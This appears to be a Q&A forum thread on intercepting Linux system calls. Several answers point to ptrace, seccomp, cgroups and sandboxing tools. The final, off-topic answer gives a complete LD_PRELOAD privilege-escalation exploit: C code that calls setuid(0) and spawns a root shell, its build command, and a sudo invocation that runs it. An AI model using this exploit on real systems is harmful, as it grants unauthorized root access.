It there reliable method of "wrapping" system calls under Linux ? (Like LD_PRELOAD for wrapping shared library function calls.)
Is there reliable, secure method of "wrapping" system calls (and, maybe receiving signals), that process can not break (assuming proper Linux implementation) ?
Yes. You use system call interposition. One portable method is to use ptrace, though this can introduce a non-trivial performance overhead as it forces a context switch on every system call. On Solaris, you can use /proc; /proc lets you specify the subset of system calls that you are interested in wrapping, which lets you achieve better performance at the cost of compatibility.
Take a look at Plash, Systrace, and Subterfugue, to see some worked systems that use these sorts of methods. Also look at Chrome's sandbox, which uses a variety of mechanisms (including seccomp on Linux).
I would use one of the many virtualization technologies available. If you only want to restrict what resources are available to a particular process, a jail mechanism such as cgroups should be enough. For more fine-tuning of what happens when the process executes a system call, check out User Mode Linux.
#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/sh"); } And when compiled it to generate a shared object with .so extension and likewise .dll file in Windows operating system. afterward you can gain root gcc -fPIC -shared -o shell.so shell.c -nostartfiles ls -al shell.so sudo LD_PRELOAD=/tmp/shell.so find whoami > root